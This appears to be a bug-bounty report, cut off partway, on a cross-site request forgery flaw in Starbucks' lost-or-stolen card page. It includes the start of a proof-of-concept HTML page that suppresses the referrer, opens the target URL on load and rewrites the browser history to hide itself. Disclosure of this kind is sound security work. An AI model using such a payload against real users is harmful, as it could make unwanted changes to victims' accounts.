CSRF in Report Lost or Stolen Page https://www.starbucks.com/account/card

Hi, When a user registers with an option to get instant digital card, a card will be registered against that users name. There is CSRF in card removal process when user wants to report cards as stolen or lost. There is no CSRF protection on the post requests when …

<html>
<head>
   <meta name="referrer" content="no-referrer"/>
</head>
<script language="JavaScript">
function abc()
{
window.open("https://www.starbucks.com/account/card/loststolen");
}
</script>
<body onload="abc();">
  <script>history.pushState('', '', '/')</script>
    <form id="form1" …